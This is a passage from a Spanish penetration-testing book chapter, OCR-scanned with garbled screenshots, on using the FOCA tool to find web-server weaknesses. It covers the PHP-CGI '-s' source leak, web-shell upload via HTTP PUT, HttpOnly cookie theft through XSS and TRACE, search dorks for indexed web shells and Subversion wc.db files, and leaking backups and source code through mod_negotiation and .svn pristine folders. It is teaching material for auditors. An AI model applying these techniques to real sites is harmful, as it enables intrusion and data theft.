parche robusto para solucionar este bug, alguien publica en el popular sitio de noticias Reddit,
aparentemente por error, un mirror del bug interno que se conocia en PHP. Tras esa publicacion,
como era de esperar, rdpidamente se hace publico un exploit totalmente funcional y se implementa
la automatizacion del ataque en el framework de explotacion de vulnerabilidades Metasploit, lo que
hace que el proyecto PHP publique un parche de urgencia.

Sin embargo, este parche de emergencia también contiene una Vulnerabilidad que hace que la
proteccion incluida sea facilmente evitable por cualquier atacante, por lo que se abre un nuevo
expediente CVE-2012-2311 para su seguimiento. Finalmente el grupo Eindzaben hace pilblica una
solucion para implantar sobre el parche y corregir asi la Vulnerabilidad mientras en PHP sacan una
nueva version del producto.

Cuando se extendio este bug, aparecieron servidores vulnerables en muchisimas grandes empresas,
y en sitios extremadamente populares de Internet, como por ejemplo LinkedIN. Este sitio web tenia
un servidor vulnerable y pocos dias después los hashes de 8 millones de contrasefias de usuarios
de esta popular red profesional de contactos acabaron publicados. Por supuesto, aunque no hay
informacion detallada de cémo se hizo este ataque, todo el mundo apunta a que se utilizo esta
Vulnerabilidad como primera puerta de entrada a la red, y de ahi a la base de datos de los usuarios.

Para la deteccion de esta Vulnerabilidad, FOCA pide las URLs con PHP afiadiendo el parametro -s y
buscando después, en todas las respuestas obtenidas, si aparece algin codigo PHP reconocible. Esto
generara no solo que aparezca en este nodo de vulnerabilidades, sino que aparezca también en el
nodo de Data Leak, ya que las fugas de codigo PHP también son monitorizadas por el otro modulo
de deteccion de vulnerabilidades.

4 HTTP://eindbazen NET/2012/05/PHP-CGl-advisory-CVE-2012-1823/#comment-3484
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Métodos HTTP inseguros

Dentro de las especificaciones del protocolo HTTP con el que se comunican clientes y servidores,
se definieron una serie de verbos o métodos para dialogar con el servidor web y asi poder solicitar
determinados comportamientos dependiendo de las necesidades de cada situacion. Asi, ademas de
los famosos métodos GET y POST para solicitar un fichero situado en una direccion URL concreta o
enviar datos a un programa en formato de texto plano, existe una completa lista de verbos definidos
en el estandar y mecanismos especiales para que cualquiera pueda extender y crear nuevos verbos
HTTP.

Algunos de los métodos que se utilizan comtinmente en los sitios web que se publican en Internet
pueden ser, por citar alguno de ellos, el método HEAD, que FOCA usa para descubrir el tamafio del
fichero en la bisqueda de documentos antes de descargarlo o el método OPTI/ONS, que permite ver
la lista de verbos habilitados en una determinada ubicacion de un sitio web, tal y como se puede ver
en la Imagen 04.11.

F: \Sk\netcat>nc P 80

OPTIONS AWIFI HT -

HTTP-1.1 200 OK

Date: Hed, 23 Jun 2010 ©7:41:01 GMT

Server: Apachers2.0.52 (Red Hat)

Allow: GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS
Content-Length: b
Connection: close
ontent-Type: texts/plain; charset=iso-8859-1
Content-Language: es

Imagen 04.11: Métodos HTTP habilitados en un sitio web.

Sin embargo, algunas aplicaciones web habilitan los métodos para la manipulacion de ficheros en
el servidor, tales como DELETE, MOVE, COPY o PUT. El método PUT permite subir ficheros al
servidor o, incluso, reemplazar archivos existentes, ya que si se sube un fichero con PUT y éste
existe, entonces se sobrescribiria el anterior. Estos comportamientos pueden suponer un riesgo para
la seguridad de un sitio si se dejan habilitados en directorios publicos, aunque, por supuesto, a pesar
de que esté habilitado el verbo PUT o DELETE., el usuario con que corre el pool de la aplicacion
deberia tener permisos para poder escribir en el sistema de ficheros. Si asi fuera, subir una WebShell
en PHP, ASP, JSP o lo que soporte el sistema seria trivial. Con un sencillo PUT /fichero.PHP
HTTP/1.1 un atacante podria comenzar a escribir el codigo fuente.

Ademas de estos verbos, si el servidor ha habilitado el protocolo WebDAV (Web-based Distributed
Authoring and Versioning) apareceran los verbos de trabajo colaborativo con documentos como
LOCK, UNLOCK, PROPFIND, PROPPATCH y MKCOL.

Logicamente, cuando se realiza una auditoria de seguridad a un servidor web es conveniente revisar
esta situacion ya que, aunque parezca un error demasiado obvio, en ocasiones los administradores
publican directorios con estos métodos activos. Utilizando Shodan, el buscador de equipos en
Internet presentado en el capitulo 3, es posible comprobar la gran cantidad de servidores en cuyas
respuestas H7TP ya directamente, sin necesidad de hacer un escaneo de OPT/ONS, informan de que
soportan el método PUT.
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Como se ha comentado, que el servidor web informe de que soporta el método PUT no quiere decir
que realmente esté implementado ni que los permisos que tenga en el sistema de archivos sean los
necesarios para poder escribir los ficheros, pero viendo la gran cantidad de sitos donde aparecen,
siempre es interesante comprobar esta situacion durante una auditoria por si fuera posible subir una
WebShell a alguno de los servidores descubiertos.

En esta misma linea, también es posible localizar los permitidos en Access-Control-Allow-Methods,
que aunque son politicas para peticiones AJAX Cross-Domain, es mas que probable que, si tiene el
método PUT permitido para ellas, también lo tenga como método //TTP. Aunque, si lo que se busca
es una Vulnerabilidad, puede que con un método DELETE sea mas que suficiente para tirar abajo
una aplicacion web.

HYTEI 0 404 Not Found
Adided an 08 10 Dste: Toe, 09 Oct 2012 03.39:44 GMT
BE seatte Allow: GET PUT,OPTIONS HEAD

Content-Type: exvaml

Date: Mon, 08 Oct 2002 11:20:49 GMT

Server: Apache-Coyoweil.1

Access-Control-Allsw-Origin: *
Access-Control-Allew-Methods: GET, POST, DELETE, PUT
Aceesa-Control- Allow-Hesders: Conear-Type
Content-Tyvoe: ‘tmbcharsctent!. §

Error 401 - Unauthorized

HTTPF1.0 401 Unauthorized

Adddad an F] Diste: Wed, 03 Nov 2012 10:45:45 GMT
ol vancouver Server: VIP Capture Card Web Server
Allow: GET, HEAD, DELETE

WWW. Authenticate: Basic realmw/
Content-Length: 288

Content-Type: wexthim]

Imagen 04.12: Métodos PUT y DELETE permitidos en Allow y Access-Contral-Allow-Methods.

Para agilizar el proceso de deteccion de servidores vulnerables, FOCA implementa esta busqueda. Por
cada dominio web que se descubre, se genera una lista de URLs detectadas en los buscadores. Estas
URLs pueden venir de la bisqueda de documentos, de la busqueda de servidores del descubrimiento
de la red, buscando las tecnologias utilizadas en el dominio o, directamente, buscando todos los /inks
en los buscadores relativos a ese dominio.

Con el objetivo de detectar qué ubicaciones tienen algin método que pudiera ser potencialmente
inseguro para el sitio web, FOCA extraera todos los directorios y realizara una comprobacion para
saber cuales son todos los verbos habilitados en €1, usando para ello una peticion con el método
OPTIONS que ya se ha citado. Si aparece algin método potencialmente inseguro, como DELETE,
PUT o TRACE, la herramienta alertara de ello.
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Subida de WebShells con métodos PUT

Ademas, FOCA no solo informa de los servidores donde se han localizado estos métodos inseguros,
sino que se ha afiadido un ment contextual que permite, de forma sencilla, explotar una vulnerabilidad
de PUT o DELETE para subir o borrar un fichero en el servidor.

Attribute Value =
Information :

Name R N 23]

Domains - Source

Fies (0found) Folders (3 found) | Docurments published (1 found)

Imagen 04.13: Subiendo un fichero a un servidor web vulnerable .

Esta opcion de FOCA no debe usarse alegremente, ya que cuando se esta haciendo una auditoria
de seguridad web hay que tener especial cuidado a la hora de realizar ciertas acciones de post-
explotacion, sobre todo si la aplicacion web del cliente esta en produccion en esos momentos. En
este sentido es posible que el uso de WebShells durante una auditoria de seguridad pueda llegar a
poner en riesgo al cliente de diferentes maneras.

Por un lado, una vez que se haya subido la WebShell existe la posibilidad de que llegue la arafia
de Google, o cualquier otro buscador, y la WebShell quede Indexada en las bases de datos de los
motores de blisqueda. A partir de ese momento, la WebShell podra ser encontrada en las bases de
datos de los buscadores, donde en la actualidad es facil localizar miles de shells utilizando diferentes
dorks, tal y como se muestra en la figura 04.14.

Por tanto, si se sube un WebShell durante una auditoria, es recomendable que se haga en un directorio
no Indexable, que se proteja su acceso mediante una password y que sea retirada nada mas terminar
con las pruebas que se estén realizando en el momento. La idea de dejar la WebShell subida para
hacer pruebas mas tarde es, por consiguiente, totalmente desaconsejable.
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Por otra parte, existe el riesgo de que la WebShell que vaya a ser subida, y que ha sido descargada
desde algtin sitio de Internet, realice mas acciones de las que se indican en su manual de usuario. No
es nuevo que una WebShell se ponga en Internet con una bonita sorpresa en forma de conexion a un
servidor de otro atacante en la que se reporta la Ur/ en la que ha sido subida esta WebShell.

intitie:" N3t" filetype:php undetectable  Buscar
Apresaman G400 resultacios (0,20 segunans) Bisqueda sesnzada

Sugerencia: Buscar sdo resyltados en espafiol. Puede especificar el idioma de busqueda
en Preferencias

1 - N3t
13 Dic 2010 ., - Notshell v. Emp3ror Undetectable #18 Modded by Spyn3t @ gmail. com|
Emp3ror Team | Generation time: 0.0169 }-
www marliagezan clcliofmaster]  [75730e_nel php?act... - En caché

Www guindio. gov.co - N3t

{ok] : GoDir - - Go Fe - - N3tshell v. Emp3ror Undetectable #18 Modded by Spyn3t
@ gmail. comj EmpBrut Team | Generation time; 0.1124 |-

www quindio gov.cohameldocsigeneral/in3dt php - En caché

WWW. undimaiﬁ com - N3t - [ Traducir esta pagna |

fok]. = GoDir .. - Go Fée .. -{ N3tshell v. Emp3ror Undetactable #18 Modded by Spyn3t
& gmail. com| Emp3ror Team | Generation time: 0.0078 |-

www undirfjalli com/. Szard_1292012044 php? . - Dinamarca - En caché

amowear.com - N3t - | Traducir esta pagina )

7 Dec 2010 ... N3tshell v. Emp3ror Undetactable #18 Modded by Spyn3t @ gmail. com|
Emp3ror Team | Generation time: 0 0056 |-

amowear comiindex php?act=about - En caché

Iraun Dlruﬁﬂn 2lr @ un Archive o -[ N3tshell v. Emp3ror Undetectable #15 Modded by
Spynfil @ gmall coml Emp3rur Taam | Gmahm time: 0.0802 |-

3 o cachs

Imagen 04.14: Webshells Indexadas en Google.

Si no se tiene cuidado, es posible que se suba una WebShell al servidor de un cliente y que de forma
automatica se informe de esta situacion a un verdadero atacante que se conecte a ella e incurra en
dafios importantes en los equipos del cliente. Para saber si una WebShell esta troyanizada, antes de
utilizarla con confianza se debe comprobar en los propios servidores del auditor para, utilizando
Firebug en Firefox o el analisis de conexiones de Google Chrome, comprobar a qué sitios se esta
conectando esta WebShell.

No obstante, en la actualidad existen técnicas que intentan evitar esta deteccion simple y realizan
reportes en diferido o en situaciones concretas, asi que el analisis realizado debe ser riguroso y
mantenido en el tiempo, ya que unas pruebas ligeras y rapidas podrian derivar en una situacion
realmente desagradable. Para evitar este tipo de situaciones, quizas la mejor idea es que el auditor
prepare sus propias herramientas y desarrolle una WebShell propia que, aunque sea mas limitada,
permitira que sea subida a los servidores de los clientes con tranquilidad y, ademas, se evitara su
deteccion por parte de determinadas soluciones de antimalware o IDS.
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Pentesting con FOCA

Hijacking de cookies HTTP-Only con XSS usando TRACE

FOCA, por otra parte, ademas de los métodos PUT v DELETE también trata de localizar el
método TRACE en la fase de busqueda de métodos inseguros, ya que puede utilizarse para realizar
Hijacking de cookies HTTP-Only con XSS, un ataque que ya cuenta con varios afios de vida y que
fue descubierto Jeremiah Grossman.

A principios del siglo XXI, las aplicaciones web adolecian de multiples vulnerabilidades en el
cddigo que las hacian propensas a muchos ataques. Entre los fallos de seguridad mas populares se
encontraban los fallos de XSS (Cross-Site Scripting). Sin embargo, aun sélo se estaba empezando
a bosquejar lo que podrian suponer los ataques Client-Side, es decir, atacar al usuario en lugar de a
los servidores.

Una de las técnicas mds comunes para atacar al usuario era robarle la sesion, es decir, hacer un
Hijacking. Hacerlo con XSS era tarea sencilla. Bastaba (y atin basta) con inyectar un codigo Javascript
que accediese a la cookie para enviarla a un servidor controlado o dejarla en una ubicacion accesible
remotamente.

Como arreglar todas las vulnerabilidades de XSS era una tarea inabordable, la industria decidio
aplicar medidas de fortificacion, con lo que a la cookie se la empezd a poder poner flags como
Secure, para que fuera solo bajo conexiones HTTP-s o HTPPOnly, para que no fuera accesible por
cddigo script, y solo se enviara en conexiones HTTP. Y, precisamente, ahi interviene el método
TRACE y el ataque que descubrio Jeremiah Grossman que permite robar una cookie marcada con
HTTPOnly mediante un ataque XSS.

Si en un servidor web se encuentra activo e implementa el método TRACE'y existe un bug XSS en
una aplicaciéon web que corra sobre ese servidor que pueda ser utilizado para generar una peticion
TRACE, entonces se podra robar la cookie aunque esté marcada como HTTPOnly. La idea es tan
simple como que el navegador no va a permitir acceder por medio de codigo seript a la cookie, pero
cuando se realice una peticion H77TP sera él mismo quien afiada la cookie de la sesion que busca el
atacante a la peticion TRACE.

Como la peticion es un método TRACE, en la respuesta, ya no como una cookie sino como un cuerpo
de mensaje, podra leerse el valor de la cookie que entonces si sera accesible por Javascript. Es por
este motivo que, si no se esta haciendo uso del método TRACE por parte de ningiin software en
concreto, en las auditorias de seguridad se suele recomendar deshabilitarlo o prohibirlo, para evitar
que alguien pueda hacer uso de €l si se dan todo el resto de condicionantes.

Supongamos un servidor web como el del Club Atlético Osasuna en la que, haciendo uso del método
OPTIONS se puede ver que tiene habilitado el método TRACE. Como se ha explicado, el método
TRACE lo tinico que hace es devolver una respuesta 200 en la que se copia lo que se le ha enviado por
el método TRACE, Hay que decir que, en muchos servidores aparece en la respuesta de OPTIONS
que esta habilitado, pero luego cuando se hace la prueba devuelve un mensaje 403 de Forbidden o
un 501 de Not Implemented, por lo que es necesario probarlo. En el ejemplo que estamos viendo, el
método esta habilitado y estd ademas implementado, por lo que puede hacerse uso de €l
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Si esto es asi, y existiera un bug XSS en una aplicacion web que corra sobre ese servidor que pueda
ser utilizado para generar una peticion TRACE, entonces se podra robar la cookie aunque esté
marcada como HTTPOnly.

Como la peticion es un método TRACE, en la respuesta, ya no como una cookie sino como un cuerpo
de mensaje podra leerse el valor de la cookie que entonces si serd accesible por Javascript.

ruder repeater window abol

sequencer | decoder | comparer | options | alerts

(e | [ sncet | host [y osasunaes |
e TEer D (e 3L
request

| TRACE / HTTP/1.0
|Host: www.osasuna,es
%Conk_ie: FAEBADAFAEADA

(EIEEI

| response

o e e m headers | hex |..-,_..ﬁ._.~.,w.,,.........._,..._.._ﬂ__\
HTTP/1.1 200 OK oy '

Date: Wed, 09 Mov 2011 20:40:00 GNT

|Server: Apache/2.2.3 (Red Hat) DAV/Z mod jk/1.2.27
EFrontPage!S.U.Z.ZGBS PHP/5.1.6 mod ss1/2.2.3 OpenSSL/0.9.8b
iConnection: close

{Content-Type: message/http

TRACE / HTTP/1.0 i
Host: www.osSasuna.es
Cookie: FABADAFABADL

¥

e s oo R 1 0 matches

ngth: 279 (66 millis)

Imagen 04.15: Si se envia una cookie en la peticion TRACE vuelve en el codigo

En la imagen superior se puede ver en Burp como se pide un método TRACE en el que el navegador
ha enviado la cookie - que podria ser HTTPOnly - y se obtiene como texto en el cuerpo de la
respuesta que envia el servidor.

Es por todo esto que, si no se esta haciendo uso del método TRACE por parte de ningln sofiware en
concreto en un servidor web que se encuentre en produccion, en todas las auditorias de seguridad
siempre recomendamos deshabilitarlo o prohibirlo, para evitar que alguien pudiera hacer uso de €l si
se dan todo el resto de condicionantes, y conseguir un ataque funcional en este entorno.
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Juicy files

Para un pentester, los juicy files son aquellos tipos de ficheros que suelen contener datos jugosos para
la realizacion de la auditoria, es decir, aquellos de los que se suele extraer mucha informacion. Los
ficheros que FOCA cataloga como juicy files son aquellos que tienen una extension sospechosa de
contener informacion interesante, como los .bak o los .old, los archivos que por su extension puedan
a priori resultar interesantes, o los servidores en los que se localizan puertos abiertos diferentes al
80, como el puerto 8080, por ejemplo.

Asi, en la pestaiia juicy files de las opciones de FOCA, se puede configurar el programa (con una
lista blanca y una lista negra) para que incluya ficheros que, bien por la ruta en la que se encuentran,
o bien por su extension, el pentester considere que merecen un analisis mas detallado.

Para localizar todos estos ficheros jugosos, FOCA no sélo usa Google Crawling y Bing Crawling,
sino que aprovecha la informacién que aparece en los ficheros ./isting, descritos a continuacion,
busca los directorios que permiten un listado de archivos, saca partido del contenido de los archivos
robots.txt y busca puertos inusuales en los servidores del dominio objetivo.

Include URLs witchextensions ...

.

Inclute URLs St in their puth contains

Imagen 04.16: Opciones de configuracion de busqueda de ficheros jugosos.

Respecto a los ficheros robots.txt, lo cierto es que son una fuente muy valiosa de informacion. El
desconocimiento generalizado de los administradores web sobre su funcionamiento y el hecho de
que cada buscador lo implementa de una forma distinta, al no tratarse de un estindar, hacen que
en muchas ocasiones se incluyan instrucciones con la intencion de informar a los robots de los
buscadores que un determinado directorio, por ejemplo, no debe ser /ndexado, y lo que ocurre es
que, no sdlo son Indexadas por los buscadores, sino que esas instrucciones ofrecen a los visitantes
curiosos un punto de partida para sus pruebas e investigaciones, y que, por supuesto, FOCA incluira
como ficheros jugosos.

Respecto a la localizacion de puertos inusuales en los servidores del dominio analizado, FOCA
utiliza un truco conocido como Google Slash Trick, del que ya se habld en el capitulo 3, que
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permite encontrar servidores escuchando en un determinado puerto. Asi, por ejemplo, para localizar
servidores de un determinado dominio trabajando en el puerto 8080, se usaria la cadena site:/
dominio:8080/, incluyendo una barra ‘ / * entre el operador site: y el nombre de dominio objetivo.

Uno de los tipos de archivos que FOCA incorpora como juicy files son los ficheros SWF (inicialmente
Shockwave Flash y luego Small Web Format), que es el formato de archivos Adobe Flash utilizado
para graficos vectoriales multimedia y ActionScript. Aunque se trata de archivos compilados,
estos ficheros pueden ofrecer al auditor una gran cantidad de informacién sobre rutas, usuarios y
passwords embebidos, links a archivos locales, rutas a ficheros almacenados en perfiles locales,
etcétera. Para poder acceder a esta informacion almacenada dentro de los archivos es necesario
descompilarlos, y para llevar a cabo esta tarea puede utilizarse, por ejemplo, el sitio web Show
My Codeé®. El funcionamiento de esta aplicacion web es muy sencillo, ya que tan s6lo es necesario
proporcionar la Url del archivo que se quiera decompilar (la aplicacion admite los tipos swf, encoded
PHP, Java class, .NET y coédigos OR) y rellenar un sencillo captcha de una tnica letra, por lo
que es posible analizar este tipo de ficheros de manera rapida y comoda. Ademas, la herramienta
permite descargar el codigo para que el auditor pueda estudiarlo en su equipo y realizar busquedas
de cadenas que sean de su interés. No obstante, Show My Code no devuelve el FLA, por lo que los
archivos embebidos o el resto de informacion del SWF se queda fuera y, por tanto, se requeriran
otros tipos de herramientas para su acceso.

fenainitclip -

stop

// component pararneters 2

onclipevent (construct) { B
externalFile = {}; :
externalFile.embed = true;
externalFile, fileName = "C:\\DOCUME-1\\MarlanoM\\CONFIG~1\\Temp\\im21";
externalFile, clipName = “embed_65352"; :
externalFile, pathName = “C:\\Documents and Settings\\MariangM\\Escritorio\\ciberprogg
externalfile.baType = "jpg™: 5
externalFile. bgWidth - 200;
externalFile. bgHeight = 200
externalFile.bgColor = “exffffif";
externalFile.bgBG = true:
blockMouseEvents = true:
transparency = 100;
displayStatu
displaykey = "1":
intraStyle = “None";
introTime = 3.2
skinName = “agual”;

Imagen 04.17: Codigo de un archivo SWF.

En el ejemplo de la imagen 04.17 se muestra parte del cédigo de un fichero SWF que FOCA ha
localizado en uno de los servidores web de una organizacion politica espaiiola durante una auditoria.
Tal y como puede comprobarse, en ¢l aparecen rutas locales y nombres de usuario.

5 HTTP:/{www.showmycode.com/
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Ficheros .listing

FOCA también localiza de forma automatica los ficheros .listing. Estos ficheros, que son creados
por la herramienta WGET cuando realiza conexiones FTP, contienen, en texto plano, el listado del

directorio enviado por el servidor FTP.

La explicacion sobre porqué se crean estos archivos aparece en la seccion del propio manual de uso
de la herramienta wget® donde se explican las opciones relativas a las conexiones FTP. Una de estas
opciones es el flag --no-remove-listing’, que cuando esta activo indica al servidor que no elimine

este fichero.

La justificacion que aparece en el manual para la activacion de este parametro es que estos ficheros
pueden resultar utiles para procesos de depuracion o para permitir al usuario comprobar de forma
sencilla el contenido de los directorios de un servidor remoto, como, por ejemplo, al verificar que

una copia en un servidor espejo se ha completado correctamente.

% | @ https:/fwww : f. ]
WA e —
-rW-r--r-- 1 12948 Sep 25 2009 index.php
~TW-r--r-- 1 13496 Aug 7 2000 index2.php
-TW-F--T- 1 19 Mar 24 2009 info.php
-FW-r--r- 1 5033 Aug 10 2009 infosec.php
-FWXF-XP-X 1 9583 Jun 17 2069 ini.inc.php
~rw-r--r- 1 5503 Aug 13 2069 live-response.php
-PW-F--r-- 1 13345 Jul 6 2009 liveResponse-video-form.php
drwxr-xr-x 6 4096 Sep 7 08:52 liveresponse
“TW-F- P 1 86626 May 13 2009 liveresponse.png
“rW-r--r-- 1 2957 Feb 5 2069 login.php
“rW-r--r-- 1 1836 Feb 14 2009 news.php
-rw-r--r- 1 819 Feb 3 2009 pagetemplate.php
-rW-F--r- 1 39302 Jan 1 1970 php.ini
-PW-F--r- 1 6069 Aug 10 2009 privacy-policy.php
~TW-F==F=-= 1 6921 Jul 16 2009 products.php
-rW-r--r-- 1 6935 Apr 30 2009 products2.php
-rW-r--r-- 18 5323 Apr 30 2009 protected.php
-rW-r--r-- 1 4820 Apr 27 2009 register-overview.php
“PW-r--r-- 1 3201 Feb 12 2009 security-image.inc.php
-PW-r--T-- 1 739 Feb 12 2009 security-image.php
-rW-F--F-- 1 12401 Mar 24 17:;56 send_contact.php
-PW-r--T-- 4 3832 Feb 14 2009 services.php
drwxr-xr-x 3 4096 Feb 3 2009 slices
-rW-r--r-- 1 5360 Apr 10 2069 special-offerl.php
drwxr-xr-x 24 4096 Sep 7 0B:52 staging
drwxr-xr-x 13 4096 Aug 7 2009 store
drwxr-xr-x 14 4096 Jun 21 2009 storel
-IW-r--r-- 1 10941 May 22 2009 style.css
-rw-r--r-- 1 853 Feb 14 2009 sugar_form.php
drwxr-xr-x 12 4096 Aug 9 2009 support
-TW-T--F=-- 18 3146 Feb 4 2010 support.php
-rW-r--r-- 1 356 Jul 21 2009 test.php
-rW-r=-r-- 1 1787 Apr 9 2009 thank-you.php
drwir-xr-x 3 4096 Dec 7 2009 training
-TW-r--r-- 1 13366 Jul 7 2009 training-signup-01.php
-TW-T--r-- b 7865 Jun 23 2009 training-thanks-0l1.php
drwxr-xr-x 2 4096 Feb 14 2009 tranin
“TW-T--r-- 1 5638 Aug 11 2009
drwxr-xr-x 2 4096 Apr 13 2009 video

Imagen 04.18: Fichero .listing.

6 HTTP:/iwww.gnu.org/software/wget/manual/wget. HTML#FTP-OPTIONS
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Algo que resulta llamativo es que en esa seccion del manual aparece un parrafo relativo a la seguridad
en el que, no solo no se alerta a los usuarios de los potenciales riesgos que puede implicar el uso
de este parametro, sino que los autores transmiten una falsa sensacion de seguridad al informar de
ciertos mecanismos establecidos para evitar posibles situaciones de riesgo, como que un usuario
creara un enlace simbolico a /efc/passwd e consiguiera que el usuario roof usara wget.

Realizando una sencilla bisqueda en Google utilizando el operador ext es posible localizar miles
de sitios web que tienen publicados este tipo de archivos que permiten listar el contenido de un
directorio al ser invocados.

En la figura 04.19 se muestra el contenido de uno de estos archivos ./isting que ha sido localizado
por FOCA en uno de los servidores de un dominio durante un proceso de auditoria. Observando la
imagen con detalle se puede observar que el listado del directorio contiene recursos que, a priori,
parecen muy prometedores para un pentester.

En este sentido, uno de los archivos que llama la atencion es el fichero users.PHP y, efectivamente,
al solicitar este recurso el servidor devuelve un listado con los datos personales de los usuarios del
sitio web, tal y como se muestra en la imagen 04.19.

j
G

o
e |
[

Imagen 04.19: Listado de datos personales de usuarios obtenido a través del fichero Jisting
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Multiple Choices: mod negotiation

Para todos los servidores web Apache del dominio objetivo que FOCA localiza, el programa
comprueba si tienen activada la opcion mod_negotiation. Este mdédulo permite generar, con la
opcion MultiViews, una lista de ficheros similares cuando el nombre del archivo solicitado no se
encuentra en el servidor.

Asi, si un cliente solicita por ejemplo el recurso robots., el médulo mod negotiation realiza un ls
robots.* en el directorio y mostrara todas las posibles opciones. Por tanto, en aquellos servidores
donde esta opcidn esté activada, es posible tratar de encontrar archivos de copias de seguridad de
determinadas aplicaciones.

FOCA realiza una sencilla prueba buscando el fichero ..FOCA, lo que hace que se muestren todos
los archivos que comienzan por un punto. Esto, en sistemas Apache siempre permitira que aparezcan
siempre los enlaces al directorio actual “.” y al directorio padre “..”, por lo que si estd activado
mod_negotiation siempre aparece un resultado.

Una vez que se ha conseguido descubrir que el modulo esta activado en un servidor, se debera probar
la lista de todos los ficheros disponibles en un servidor web. Para ello se pueden localizar las URLs
Indexadas en cualquier buscador de todos los ficheros de los que nos interese encontrar un backup
o bien hacer un erawling primero al sitio web y probar todas las URLs. Una vez localizados los
ficheros, el atacante podria solicitar al servidor web con mod negotiation todos los archivos, uno
a uno, pero modificando la peticion para borrar la extension. De esta forma, si existe una copia de
seguridad en el mismo directorio, el servidor mostraria ambos archivos.

Multiple Choices

The document name you requested (/climate/13mto.) could not be found on this server.
However, we found documents with names similar to the one you requested.

Available documents:

e /climate/13mto.php (common basename)
e /climate/13mto.php.smk (common basename)

o /climate/I3mto.bk.php (common basename)

Apache Server at www S5

Imagen 04.20: Servidor web con la opeion mod _negotiation activa.

Por ejemplo, tal y como se puede comprobar en la imagen 04.20, tras localizar el archivo 13mto.PHP
en un buscador de internet, se solicita al servidor el recurso 13mto., sin incluir la extension PHP.
Asi, el servidor busca en el directorio todos los archivos con nombres similares para mostréarselos al
usuario, entre los que se encuentra la copia de seguridad.
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Ficheros .svn/entries de repositorios Subversion

Dentro de los repositorios de codigo de Subverions, se encuentran los ficheros .svi/entries, que
almacenan la informacion de las Gltimas actualizaciones que se han realizado en un proyecto de
desarrollo que utiliza SVN como gestor de codigo. Tan solo son archivos de texto con el aspecto del
que vemos en la Imagen 04.21, que ha sido descubierto por FOCA analizando los servidores de una
organizacion.

Este tipo de ficheros, que deberian estar protegidos, en ocasiones son localizados por los auditores de
seguridad en Internet por lo comodo que les resulta a los desarrolladores web tener el repositorio en
el mismo servidor donde se esta publicando la aplicacion, pero la informacion que puede obtenerse
de ellos hace que ésta sea una practica poco recomendable.

Inspeccionando estos ficheros es posible descubrir usuarios, rutas internas, fechas e informacion
tactica de la compaifiia que puede ser de mucha utilidad para lanzar ataques de fuerza bruta, descubrir
ficheros ocultos o perdidos, o simplemente nuevas URLs de servidores web para analizarlos
posteriormente con FOCA.

Para que la lectura de estos ficheros sea mas sencilla se ha desarrollado un p/ugin, cuyo funcionamiento
se explica en detalle en el capitulo 5, que es capaz de parsear estos archivos para acceder de forma
comoda a todos los datos que aparecen en €l y mostrar los datos organizados por tipos de ficheros,
usuarios o nombres de archivos.

O

~ .googlecode. com/svn/trunk /M2DATDBUpdateSite /features

es:81/ | pdatesSite/features/.svn/entries

https:// :

https://.  .googlecode.com/svn
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alvaro ZESSipuinkans
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ORDB40ORAFeature 1.0.0.jar
file
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3babb753bcb9c9da720f 8018622231
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99
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Imagen 04.21: Contenido de un fichero .sva/entries.

Normalmente, encontrar un fichero .svn/entries permite localizar un montén de juicy files. FOCA
busca este tipo de repositorios, pero haciendo uso de los patrones de directory listing o el pluging de
fuzzing que veremos en el capitulo 5, se pueden localizar mas repositorios de codigo fuente.
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Descarga de ficheros con Pristine y we.db en repositorios Subversion

Ademas de los ficheros .svw/entries, existen otros dos archivos relacionados con Subversion que
pueden producir fugas de informacion hasta el punto de dejar vista para sentencia una auditoria de
seguridad con tal solo localizar el repositorios de codigo en un sitio web publico.

El fichero we.db es la base de datos de Subversion y en ella se puede encontrar informacion de todos
los ficheros que se han subido al servidor, incluso cuando el fichero .svn/entries esté vacio, algo que
puede ser habitual. Para localizar estas bases de datos basta con encontrar el fichero .svn/entries
con FOCA o ejecutar algin dork sencillo en un buscador. Por ejemplo, en Bing podria utilizarse la
siguiente cadena de busqueda para encontrar este tipo de archivos:

- ext:dbwe.db

Una vez descargada la base de datos es posible comprobar que se trata de un archivo SQLite, por
lo que el primer paso para tratar de acceder a su contenido seria utilizar alguna aplicacion similar
a SQLite DataBase Browser’ que permita navegar por su estructura. En caso de que la base de
datos aparezca vacia es posible recurrir al servicio web Recover Messages®, que permite realizar un
analisis forense de archivos SQLite y descargar los resultados obtenidos a un fichero de texto.

Abriendo este fichero obtenido con un editor de texto sera posible acceder a los nombres de los
archivos que se encuentran en el servidor, por lo que es una situacion comparable a disponer del
fichero .svn/entries completo.
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Imagen 04.22: El volcado forense del fichero SQLire hecho con Recover Messages.

7 HTTP://sourceforge NET/projects/sqlitebrowser/?source=DLP
8 HTTP://www.recovermessages.com/




Capitulo 1V. Biisqueda de Vulnerabilidades m

Llegados a este punto, es suficiente con solicitar cada fichero al servidor con su ubicacion concreta
para acceder a ¢l, y puede que incluso acabemos localizando ficheros que ya no estan dentro del
repositorio de codigo, pero que alguna vez lo estubieron.

Por otra parte, el gestor de proyectos Subversion guarda una copia de todos los archivos originales
que se suben al servidor en una carpeta llamada pristine. En esta carpeta el nombre de los archivos se
ofusca utilizando el algoritmo de hashing basado en SHA ! para el nombre, y afiadiendo a los ficheros
que se almacenan una extension conocida del tipo .svn-base.

El uso de esa extension especial hace que no se los tipos M/ME asociados al nombre origial que
tuviera dicho archivo. Es decir, que un archivo de tipo PHP que tiene una extension .PHP estard
almacenado dentro de la carpeta pristine como un archivo con extension .svu-base y por lo tanto,
cuando alguien lo solicita, el servidor web no va a tratar de ejecutar ¢l codigo con el motor PHP.

Esto permite que un usuario que conozca el nombre de un archivo PHP, pueda pedir la copia de la
carpeta pristine pidiendo un fichero del tipo:

- pristine/SHA I (nombre).svn-base

Para simplificar y automatizar este proceso puede utilizarse el programa svrpristine’, al que solo hay
que pasarle la ruta del servidor donde se encuentra la raiz de Subversion para que vuelque toda la
carpeta pristine a un directorio local,

| IR YRS
lgrabbing m»tp-cor!tent}/themesfdr-—]ohn kenagnyrnm http:/
grabbing [N p-content //themes/dr-john-kenagy/options/other-options.php from http

n—base

pr-ccntentffthe!nes}dr—John kenagwllb : f0-custom- flelds.-"new file
wp-content//themes/dr-john—kenagy/lib/enhanced-custom-fields/tpls/ric

wp-content//themes/dr-john-kenagy/lib/enhanced-custom-fields/tpls/js.

: 9 =
i w/wp-contentﬁthemesmr—john—kenagwliwenhanced-custum-fields!tpls!ecf
b868f1d9aB3c99@53fac®. svn-base

Imagen 04.23: Voleado de pristine con svapristine.

En la Imagen 04.23 se puede ver como, tras ejecutar la herramienta svnpristine.pl - escrita en Perl -
